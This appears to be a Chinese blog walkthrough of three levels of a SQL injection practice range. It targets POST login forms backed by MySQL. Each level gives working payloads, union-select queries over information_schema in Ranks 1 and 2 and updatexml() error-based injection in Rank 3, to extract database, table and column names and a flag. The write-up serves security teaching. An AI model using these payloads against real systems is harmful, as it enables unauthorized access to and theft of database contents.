SQL注入靶場—Post注入 Rank1-3

---------------------------------Rank 1 -------------------------------------------------

先在表單Username編輯框中輸入1,點登錄,頁面回顯如下:

image.png

然后在Username中輸入1',點登錄,再看回顯,看是否存在注入:

image.png

可看到存在注入,且從錯誤提示信息中可以看到,數(shù)據(jù)庫是MySQL,因此這里可以使用updatexml()函數(shù)進行報錯注入,也可以直接構(gòu)造union 聯(lián)合查詢語句進行注入。這里我就使用后者了。

先獲取字段數(shù),構(gòu)造語句如下:

1' order by 3 #

image.png

構(gòu)造語句:

1' order by 2 #

則無報錯信息,故字段數(shù)為2。

獲取當前數(shù)據(jù)庫名,構(gòu)造語句如下:

1' union select 1,database() #

image.png

獲取表名,構(gòu)造語句如下:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

image.png

獲取字段名,構(gòu)造語句如下:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='zkaq' #

image.png

然后查詢zKaQ字段就能獲取flag。

---------------------------------Rank 2 -------------------------------------------------

先在表單的Username編輯框中輸入1,點登錄,頁面回顯如下:

image.png

可以看到這里在sql語句中,將username等號后面的值用小括號和雙引號括起來了。
所以這次試用 1" 來判斷是否存在注入:

image.png

看到了熟悉的MySQL報錯信息,這就好辦了。

直接來吧,先確定字段數(shù),構(gòu)造如下語句:

1") order by 3 #

image.png

再構(gòu)造如下語句:

1") order by 2 #

結(jié)果沒有報錯信息出現(xiàn),所以字段數(shù)是2。

獲取當前數(shù)據(jù)庫名,構(gòu)造語句如下:

1") union select 1,database() #

image.png

獲取表名,構(gòu)造語句如下:

1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

image.png

獲取字段名,構(gòu)造語句如下:

1") union select 1,group_concat(column_name) from information_schema.columns where table_name='zkaq' #

image.png

然后查詢zKaQ字段就能獲取flag。

---------------------------------Rank 3 -------------------------------------------------

先在表單的Username編輯框中輸入1,點登錄,頁面回顯如下:

image.png

可以看到這里在sql語句中,將username等號后面的值用小括號和單引號括起來了。

所以這里使用 1') 來判斷是否存在注入:

image.png

看到了熟悉的MySQL報錯信息,本以來這道題也跟上面的Rank 1 和 Rank 2兩道題一樣的套路,但發(fā)現(xiàn)聯(lián)合查詢語句查詢的結(jié)果并沒有回顯到頁面中,因此就不能這么干了。

但幸運的是,用 1') 進行注入判斷時,確實頁面上出現(xiàn)了MySQL的報錯信息,那下面嘗試使用updatexml()進行報錯注入。

首先獲取當前數(shù)據(jù)庫名,構(gòu)造如下語句輸入到Username編輯框中:

1') or updatexml(0,concat(0x3a,(select database())),0) #

image.png

可以看到確實有錯誤信息顯示在頁面上,并且已經(jīng)將所查詢的信息暴出來了。

繼續(xù)獲取表名,構(gòu)造如下語句:

1') or updatexml(0,concat(0x3a,(select table_name from information_schema.tables where table_schema='security' limit 4,1)),0) #

image.png

獲取字段名,構(gòu)造如下語句:

1') or updatexml(0,concat(0x3a,(select column_name from information_schema.columns where table_name='zkaq' limit 1,1)),0) #

image.png

然后查詢zKaQ字段的內(nèi)容就可以拿到flag。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容